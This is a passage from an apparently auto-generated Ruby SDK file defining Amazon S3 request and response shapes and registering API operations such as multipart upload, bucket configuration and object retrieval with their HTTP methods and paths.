UploadPartCopyRequest.add_member(:sse_customer_key_md5, Shapes::ShapeRef.new(shape: SSECustomerKeyMD5, location: "header", location_name: "x-amz-server-side-encryption-customer-key-MD5"))
UploadPartCopyRequest.add_member(:copy_source_sse_customer_algorithm, Shapes::ShapeRef.new(shape: CopySourceSSECustomerAlgorithm, location: "header", location_name: "x-amz-copy-source-server-side-encryption-customer-algorithm"))
UploadPartCopyRequest.add_member(:copy_source_sse_customer_key, Shapes::ShapeRef.new(shape: CopySourceSSECustomerKey, location: "header", location_name: "x-amz-copy-source-server-side-encryption-customer-key"))
UploadPartCopyRequest.add_member(:copy_source_sse_customer_key_md5, Shapes::ShapeRef.new(shape: CopySourceSSECustomerKeyMD5, location: "header", location_name: "x-amz-copy-source-server-side-encryption-customer-key-MD5"))
UploadPartCopyRequest.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
UploadPartCopyRequest.struct_class = Types::UploadPartCopyRequest
UploadPartOutput.add_member(:server_side_encryption, Shapes::ShapeRef.new(shape: ServerSideEncryption, location: "header", location_name: "x-amz-server-side-encryption"))
UploadPartOutput.add_member(:etag, Shapes::ShapeRef.new(shape: ETag, location: "header", location_name: "ETag"))
UploadPartOutput.add_member(:sse_customer_algorithm, Shapes::ShapeRef.new(shape: SSECustomerAlgorithm, location: "header", location_name: "x-amz-server-side-encryption-customer-algorithm"))
UploadPartOutput.add_member(:sse_customer_key_md5, Shapes::ShapeRef.new(shape: SSECustomerKeyMD5, location: "header", location_name: "x-amz-server-side-encryption-customer-key-MD5"))
UploadPartOutput.add_member(:ssekms_key_id, Shapes::ShapeRef.new(shape: SSEKMSKeyId, location: "header", location_name: "x-amz-server-side-encryption-aws-kms-key-id"))
UploadPartOutput.add_member(:request_charged, Shapes::ShapeRef.new(shape: RequestCharged, location: "header", location_name: "x-amz-request-charged"))
UploadPartOutput.struct_class = Types::UploadPartOutput
UploadPartRequest.add_member(:body, Shapes::ShapeRef.new(shape: Body, location_name: "Body", metadata: {"streaming"=>true}))
UploadPartRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
UploadPartRequest.add_member(:content_length, Shapes::ShapeRef.new(shape: ContentLength, location: "header", location_name: "Content-Length"))
UploadPartRequest.add_member(:content_md5, Shapes::ShapeRef.new(shape: ContentMD5, location: "header", location_name: "Content-MD5"))
UploadPartRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
UploadPartRequest.add_member(:part_number, Shapes::ShapeRef.new(shape: PartNumber, required: true, location: "querystring", location_name: "partNumber"))
UploadPartRequest.add_member(:upload_id, Shapes::ShapeRef.new(shape: MultipartUploadId, required: true, location: "querystring", location_name: "uploadId"))
UploadPartRequest.add_member(:sse_customer_algorithm, Shapes::ShapeRef.new(shape: SSECustomerAlgorithm, location: "header", location_name: "x-amz-server-side-encryption-customer-algorithm"))
UploadPartRequest.add_member(:sse_customer_key, Shapes::ShapeRef.new(shape: SSECustomerKey, location: "header", location_name: "x-amz-server-side-encryption-customer-key"))
UploadPartRequest.add_member(:sse_customer_key_md5, Shapes::ShapeRef.new(shape: SSECustomerKeyMD5, location: "header", location_name: "x-amz-server-side-encryption-customer-key-MD5"))
UploadPartRequest.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
UploadPartRequest.struct_class = Types::UploadPartRequest
UploadPartRequest[:payload] = :body
UploadPartRequest[:payload_member] = UploadPartRequest.member(:body)
UserMetadata.member = Shapes::ShapeRef.new(shape: MetadataEntry, location_name: "MetadataEntry")
VersioningConfiguration.add_member(:mfa_delete, Shapes::ShapeRef.new(shape: MFADelete, location_name: "MfaDelete"))
VersioningConfiguration.add_member(:status, Shapes::ShapeRef.new(shape: BucketVersioningStatus, location_name: "Status"))
VersioningConfiguration.struct_class = Types::VersioningConfiguration
WebsiteConfiguration.add_member(:error_document, Shapes::ShapeRef.new(shape: ErrorDocument, location_name: "ErrorDocument"))
WebsiteConfiguration.add_member(:index_document, Shapes::ShapeRef.new(shape: IndexDocument, location_name: "IndexDocument"))
WebsiteConfiguration.add_member(:redirect_all_requests_to, Shapes::ShapeRef.new(shape: RedirectAllRequestsTo, location_name: "RedirectAllRequestsTo"))
WebsiteConfiguration.add_member(:routing_rules, Shapes::ShapeRef.new(shape: RoutingRules, location_name: "RoutingRules"))
WebsiteConfiguration.struct_class = Types::WebsiteConfiguration
# @api private
API = Seahorse::Model::Api.new.tap do |api|
api.version = "2006-03-01"
api.metadata = {
"endpointPrefix" => "s3",
"protocol" => "rest-xml",
"serviceFullName" => "Amazon Simple Storage Service",
"timestampFormat" => "rfc822",
}
api.add_operation(:abort_multipart_upload, Seahorse::Model::Operation.new.tap do |o|
o.name = "AbortMultipartUpload"
o.http_method = "DELETE"
o.http_request_uri = "/{Bucket}/{Key+}"
o.input = Shapes::ShapeRef.new(shape: AbortMultipartUploadRequest)
o.output = Shapes::ShapeRef.new(shape: AbortMultipartUploadOutput)
o.errors << Shapes::ShapeRef.new(shape: NoSuchUpload)
end)
api.add_operation(:complete_multipart_upload, Seahorse::Model::Operation.new.tap do |o|
o.name = "CompleteMultipartUpload"
o.http_method = "POST"
o.http_request_uri = "/{Bucket}/{Key+}"
o.input = Shapes::ShapeRef.new(shape: CompleteMultipartUploadRequest)
o.output = Shapes::ShapeRef.new(shape: CompleteMultipartUploadOutput)
end)
api.add_operation(:copy_object, Seahorse::Model::Operation.new.tap do |o|
o.name = "CopyObject"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}/{Key+}"
o.input = Shapes::ShapeRef.new(shape: CopyObjectRequest)
o.output = Shapes::ShapeRef.new(shape: CopyObjectOutput)
o.errors << Shapes::ShapeRef.new(shape: ObjectNotInActiveTierError)
end)
api.add_operation(:create_bucket, Seahorse::Model::Operation.new.tap do |o|
o.name = "CreateBucket"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}"
o.input = Shapes::ShapeRef.new(shape: CreateBucketRequest)
o.output = Shapes::ShapeRef.new(shape: CreateBucketOutput)
o.errors << Shapes::ShapeRef.new(shape: BucketAlreadyExists)
o.errors << Shapes::ShapeRef.new(shape: BucketAlreadyOwnedByYou)
end)
api.add_operation(:create_multipart_upload, Seahorse::Model::Operation.new.tap do |o|
o.name = "CreateMultipartUpload"
o.http_method = "POST"
o.http_request_uri = "/{Bucket}/{Key+}?uploads"
o.input = Shapes::ShapeRef.new(shape: CreateMultipartUploadRequest)
o.output = Shapes::ShapeRef.new(shape: CreateMultipartUploadOutput)
end)
api.add_operation(:delete_bucket, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteBucket"
o.http_method = "DELETE"
o.http_request_uri = "/{Bucket}"
o.input = Shapes::ShapeRef.new(shape: DeleteBucketRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:delete_bucket_analytics_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteBucketAnalyticsConfiguration"
o.http_method = "DELETE"
o.http_request_uri = "/{Bucket}?analytics"
o.input = Shapes::ShapeRef.new(shape: DeleteBucketAnalyticsConfigurationRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:delete_bucket_cors, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteBucketCors"
o.http_method = "DELETE"
o.http_request_uri = "/{Bucket}?cors"
o.input = Shapes::ShapeRef.new(shape: DeleteBucketCorsRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:delete_bucket_encryption, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteBucketEncryption"
o.http_method = "DELETE"
o.http_request_uri = "/{Bucket}?encryption"
o.input = Shapes::ShapeRef.new(shape: DeleteBucketEncryptionRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:delete_bucket_inventory_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteBucketInventoryConfiguration"
o.http_method = "DELETE"
o.http_request_uri = "/{Bucket}?inventory"
o.input = Shapes::ShapeRef.new(shape: DeleteBucketInventoryConfigurationRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:delete_bucket_lifecycle, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteBucketLifecycle"
o.http_method = "DELETE"
o.http_request_uri = "/{Bucket}?lifecycle"
o.input = Shapes::ShapeRef.new(shape: DeleteBucketLifecycleRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:delete_bucket_metrics_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteBucketMetricsConfiguration"
o.http_method = "DELETE"
o.http_request_uri = "/{Bucket}?metrics"
o.input = Shapes::ShapeRef.new(shape: DeleteBucketMetricsConfigurationRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:delete_bucket_policy, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteBucketPolicy"
o.http_method = "DELETE"
o.http_request_uri = "/{Bucket}?policy"
o.input = Shapes::ShapeRef.new(shape: DeleteBucketPolicyRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:delete_bucket_replication, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteBucketReplication"
o.http_method = "DELETE"
o.http_request_uri = "/{Bucket}?replication"
o.input = Shapes::ShapeRef.new(shape: DeleteBucketReplicationRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:delete_bucket_tagging, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteBucketTagging"
o.http_method = "DELETE"
o.http_request_uri = "/{Bucket}?tagging"
o.input = Shapes::ShapeRef.new(shape: DeleteBucketTaggingRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:delete_bucket_website, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteBucketWebsite"
o.http_method = "DELETE"
o.http_request_uri = "/{Bucket}?website"
o.input = Shapes::ShapeRef.new(shape: DeleteBucketWebsiteRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:delete_object, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteObject"
o.http_method = "DELETE"
o.http_request_uri = "/{Bucket}/{Key+}"
o.input = Shapes::ShapeRef.new(shape: DeleteObjectRequest)
o.output = Shapes::ShapeRef.new(shape: DeleteObjectOutput)
end)
api.add_operation(:delete_object_tagging, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteObjectTagging"
o.http_method = "DELETE"
o.http_request_uri = "/{Bucket}/{Key+}?tagging"
o.input = Shapes::ShapeRef.new(shape: DeleteObjectTaggingRequest)
o.output = Shapes::ShapeRef.new(shape: DeleteObjectTaggingOutput)
end)
api.add_operation(:delete_objects, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteObjects"
o.http_method = "POST"
o.http_request_uri = "/{Bucket}?delete"
o.input = Shapes::ShapeRef.new(shape: DeleteObjectsRequest)
o.output = Shapes::ShapeRef.new(shape: DeleteObjectsOutput)
end)
api.add_operation(:get_bucket_accelerate_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketAccelerateConfiguration"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?accelerate"
o.input = Shapes::ShapeRef.new(shape: GetBucketAccelerateConfigurationRequest)
o.output = Shapes::ShapeRef.new(shape: GetBucketAccelerateConfigurationOutput)
end)
api.add_operation(:get_bucket_acl, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketAcl"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?acl"
o.input = Shapes::ShapeRef.new(shape: GetBucketAclRequest)
o.output = Shapes::ShapeRef.new(shape: GetBucketAclOutput)
end)
api.add_operation(:get_bucket_analytics_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketAnalyticsConfiguration"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?analytics"
o.input = Shapes::ShapeRef.new(shape: GetBucketAnalyticsConfigurationRequest)
o.output = Shapes::ShapeRef.new(shape: GetBucketAnalyticsConfigurationOutput)
end)
api.add_operation(:get_bucket_cors, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketCors"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?cors"
o.input = Shapes::ShapeRef.new(shape: GetBucketCorsRequest)
o.output = Shapes::ShapeRef.new(shape: GetBucketCorsOutput)
end)
api.add_operation(:get_bucket_encryption, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketEncryption"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?encryption"
o.input = Shapes::ShapeRef.new(shape: GetBucketEncryptionRequest)
o.output = Shapes::ShapeRef.new(shape: GetBucketEncryptionOutput)
end)
api.add_operation(:get_bucket_inventory_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketInventoryConfiguration"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?inventory"
o.input = Shapes::ShapeRef.new(shape: GetBucketInventoryConfigurationRequest)
o.output = Shapes::ShapeRef.new(shape: GetBucketInventoryConfigurationOutput)
end)
api.add_operation(:get_bucket_lifecycle, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketLifecycle"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?lifecycle"
o.deprecated = true
o.input = Shapes::ShapeRef.new(shape: GetBucketLifecycleRequest)
o.output = Shapes::ShapeRef.new(shape: GetBucketLifecycleOutput)
end)
api.add_operation(:get_bucket_lifecycle_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketLifecycleConfiguration"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?lifecycle"
o.input = Shapes::ShapeRef.new(shape: GetBucketLifecycleConfigurationRequest)
o.output = Shapes::ShapeRef.new(shape: GetBucketLifecycleConfigurationOutput)
end)
api.add_operation(:get_bucket_location, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketLocation"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?location"
o.input = Shapes::ShapeRef.new(shape: GetBucketLocationRequest)
o.output = Shapes::ShapeRef.new(shape: GetBucketLocationOutput)
end)
api.add_operation(:get_bucket_logging, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketLogging"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?logging"
o.input = Shapes::ShapeRef.new(shape: GetBucketLoggingRequest)
o.output = Shapes::ShapeRef.new(shape: GetBucketLoggingOutput)
end)
api.add_operation(:get_bucket_metrics_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketMetricsConfiguration"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?metrics"
o.input = Shapes::ShapeRef.new(shape: GetBucketMetricsConfigurationRequest)
o.output = Shapes::ShapeRef.new(shape: GetBucketMetricsConfigurationOutput)
end)
api.add_operation(:get_bucket_notification, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketNotification"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?notification"
o.deprecated = true
o.input = Shapes::ShapeRef.new(shape: GetBucketNotificationConfigurationRequest)
o.output = Shapes::ShapeRef.new(shape: NotificationConfigurationDeprecated)
end)
api.add_operation(:get_bucket_notification_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketNotificationConfiguration"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?notification"
o.input = Shapes::ShapeRef.new(shape: GetBucketNotificationConfigurationRequest)
o.output = Shapes::ShapeRef.new(shape: NotificationConfiguration)
end)
api.add_operation(:get_bucket_policy, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketPolicy"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?policy"
o.input = Shapes::ShapeRef.new(shape: GetBucketPolicyRequest)
o.output = Shapes::ShapeRef.new(shape: GetBucketPolicyOutput)
end)
api.add_operation(:get_bucket_replication, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketReplication"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?replication"
o.input = Shapes::ShapeRef.new(shape: GetBucketReplicationRequest)
o.output = Shapes::ShapeRef.new(shape: GetBucketReplicationOutput)
end)
api.add_operation(:get_bucket_request_payment, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketRequestPayment"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?requestPayment"
o.input = Shapes::ShapeRef.new(shape: GetBucketRequestPaymentRequest)
o.output = Shapes::ShapeRef.new(shape: GetBucketRequestPaymentOutput)
end)
api.add_operation(:get_bucket_tagging, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketTagging"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?tagging"
o.input = Shapes::ShapeRef.new(shape: GetBucketTaggingRequest)
o.output = Shapes::ShapeRef.new(shape: GetBucketTaggingOutput)
end)
api.add_operation(:get_bucket_versioning, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketVersioning"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?versioning"
o.input = Shapes::ShapeRef.new(shape: GetBucketVersioningRequest)
o.output = Shapes::ShapeRef.new(shape: GetBucketVersioningOutput)
end)
api.add_operation(:get_bucket_website, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetBucketWebsite"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?website"
o.input = Shapes::ShapeRef.new(shape: GetBucketWebsiteRequest)
o.output = Shapes::ShapeRef.new(shape: GetBucketWebsiteOutput)
end)
api.add_operation(:get_object, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetObject"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}/{Key+}"
o.input = Shapes::ShapeRef.new(shape: GetObjectRequest)
o.output = Shapes::ShapeRef.new(shape: GetObjectOutput)
o.errors << Shapes::ShapeRef.new(shape: NoSuchKey)
end)
api.add_operation(:get_object_acl, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetObjectAcl"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}/{Key+}?acl"
o.input = Shapes::ShapeRef.new(shape: GetObjectAclRequest)
o.output = Shapes::ShapeRef.new(shape: GetObjectAclOutput)
o.errors << Shapes::ShapeRef.new(shape: NoSuchKey)
end)
api.add_operation(:get_object_tagging, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetObjectTagging"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}/{Key+}?tagging"
o.input = Shapes::ShapeRef.new(shape: GetObjectTaggingRequest)
o.output = Shapes::ShapeRef.new(shape: GetObjectTaggingOutput)
end)
api.add_operation(:get_object_torrent, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetObjectTorrent"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}/{Key+}?torrent"
o.input = Shapes::ShapeRef.new(shape: GetObjectTorrentRequest)
o.output = Shapes::ShapeRef.new(shape: GetObjectTorrentOutput)
end)
api.add_operation(:head_bucket, Seahorse::Model::Operation.new.tap do |o|
o.name = "HeadBucket"
o.http_method = "HEAD"
o.http_request_uri = "/{Bucket}"
o.input = Shapes::ShapeRef.new(shape: HeadBucketRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: NoSuchBucket)
end)
api.add_operation(:head_object, Seahorse::Model::Operation.new.tap do |o|
o.name = "HeadObject"
o.http_method = "HEAD"
o.http_request_uri = "/{Bucket}/{Key+}"
o.input = Shapes::ShapeRef.new(shape: HeadObjectRequest)
o.output = Shapes::ShapeRef.new(shape: HeadObjectOutput)
o.errors << Shapes::ShapeRef.new(shape: NoSuchKey)
end)
api.add_operation(:list_bucket_analytics_configurations, Seahorse::Model::Operation.new.tap do |o|
o.name = "ListBucketAnalyticsConfigurations"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?analytics"
o.input = Shapes::ShapeRef.new(shape: ListBucketAnalyticsConfigurationsRequest)
o.output = Shapes::ShapeRef.new(shape: ListBucketAnalyticsConfigurationsOutput)
end)
api.add_operation(:list_bucket_inventory_configurations, Seahorse::Model::Operation.new.tap do |o|
o.name = "ListBucketInventoryConfigurations"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?inventory"
o.input = Shapes::ShapeRef.new(shape: ListBucketInventoryConfigurationsRequest)
o.output = Shapes::ShapeRef.new(shape: ListBucketInventoryConfigurationsOutput)
end)
api.add_operation(:list_bucket_metrics_configurations, Seahorse::Model::Operation.new.tap do |o|
o.name = "ListBucketMetricsConfigurations"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?metrics"
o.input = Shapes::ShapeRef.new(shape: ListBucketMetricsConfigurationsRequest)
o.output = Shapes::ShapeRef.new(shape: ListBucketMetricsConfigurationsOutput)
end)
api.add_operation(:list_buckets, Seahorse::Model::Operation.new.tap do |o|
o.name = "ListBuckets"
o.http_method = "GET"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.output = Shapes::ShapeRef.new(shape: ListBucketsOutput)
end)
api.add_operation(:list_multipart_uploads, Seahorse::Model::Operation.new.tap do |o|
o.name = "ListMultipartUploads"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?uploads"
o.input = Shapes::ShapeRef.new(shape: ListMultipartUploadsRequest)
o.output = Shapes::ShapeRef.new(shape: ListMultipartUploadsOutput)
o[:pager] = Aws::Pager.new(
more_results: "is_truncated",
limit_key: "max_uploads",
tokens: {
"next_key_marker" => "key_marker",
"next_upload_id_marker" => "upload_id_marker"
}
)
end)
api.add_operation(:list_object_versions, Seahorse::Model::Operation.new.tap do |o|
o.name = "ListObjectVersions"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?versions"
o.input = Shapes::ShapeRef.new(shape: ListObjectVersionsRequest)
o.output = Shapes::ShapeRef.new(shape: ListObjectVersionsOutput)
o[:pager] = Aws::Pager.new(
more_results: "is_truncated",
limit_key: "max_keys",
tokens: {
"next_key_marker" => "key_marker",
"next_version_id_marker" => "version_id_marker"
}
)
end)
api.add_operation(:list_objects, Seahorse::Model::Operation.new.tap do |o|
o.name = "ListObjects"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}"
o.input = Shapes::ShapeRef.new(shape: ListObjectsRequest)
o.output = Shapes::ShapeRef.new(shape: ListObjectsOutput)
o.errors << Shapes::ShapeRef.new(shape: NoSuchBucket)
o[:pager] = Aws::Pager.new(
more_results: "is_truncated",
limit_key: "max_keys",
tokens: {
"next_marker || contents[-1].key" => "marker"
}
)
end)
api.add_operation(:list_objects_v2, Seahorse::Model::Operation.new.tap do |o|
o.name = "ListObjectsV2"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}?list-type=2"
o.input = Shapes::ShapeRef.new(shape: ListObjectsV2Request)
o.output = Shapes::ShapeRef.new(shape: ListObjectsV2Output)
o.errors << Shapes::ShapeRef.new(shape: NoSuchBucket)
o[:pager] = Aws::Pager.new(
limit_key: "max_keys",
tokens: {
"next_continuation_token" => "continuation_token"
}
)
end)
api.add_operation(:list_parts, Seahorse::Model::Operation.new.tap do |o|
o.name = "ListParts"
o.http_method = "GET"
o.http_request_uri = "/{Bucket}/{Key+}"
o.input = Shapes::ShapeRef.new(shape: ListPartsRequest)
o.output = Shapes::ShapeRef.new(shape: ListPartsOutput)
o[:pager] = Aws::Pager.new(
more_results: "is_truncated",
limit_key: "max_parts",
tokens: {
"next_part_number_marker" => "part_number_marker"
}
)
end)
api.add_operation(:put_bucket_accelerate_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketAccelerateConfiguration"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?accelerate"
o.input = Shapes::ShapeRef.new(shape: PutBucketAccelerateConfigurationRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:put_bucket_acl, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketAcl"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?acl"
o.input = Shapes::ShapeRef.new(shape: PutBucketAclRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:put_bucket_analytics_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketAnalyticsConfiguration"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?analytics"
o.input = Shapes::ShapeRef.new(shape: PutBucketAnalyticsConfigurationRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:put_bucket_cors, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketCors"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?cors"
o.input = Shapes::ShapeRef.new(shape: PutBucketCorsRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:put_bucket_encryption, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketEncryption"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?encryption"
o.input = Shapes::ShapeRef.new(shape: PutBucketEncryptionRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:put_bucket_inventory_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketInventoryConfiguration"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?inventory"
o.input = Shapes::ShapeRef.new(shape: PutBucketInventoryConfigurationRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:put_bucket_lifecycle, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketLifecycle"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?lifecycle"
o.deprecated = true
o.input = Shapes::ShapeRef.new(shape: PutBucketLifecycleRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:put_bucket_lifecycle_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketLifecycleConfiguration"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?lifecycle"
o.input = Shapes::ShapeRef.new(shape: PutBucketLifecycleConfigurationRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:put_bucket_logging, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketLogging"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?logging"
o.input = Shapes::ShapeRef.new(shape: PutBucketLoggingRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:put_bucket_metrics_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketMetricsConfiguration"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?metrics"
o.input = Shapes::ShapeRef.new(shape: PutBucketMetricsConfigurationRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:put_bucket_notification, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketNotification"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?notification"
o.deprecated = true
o.input = Shapes::ShapeRef.new(shape: PutBucketNotificationRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:put_bucket_notification_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketNotificationConfiguration"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?notification"
o.input = Shapes::ShapeRef.new(shape: PutBucketNotificationConfigurationRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:put_bucket_policy, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketPolicy"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?policy"
o.input = Shapes::ShapeRef.new(shape: PutBucketPolicyRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:put_bucket_replication, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketReplication"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?replication"
o.input = Shapes::ShapeRef.new(shape: PutBucketReplicationRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:put_bucket_request_payment, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketRequestPayment"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?requestPayment"
o.input = Shapes::ShapeRef.new(shape: PutBucketRequestPaymentRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
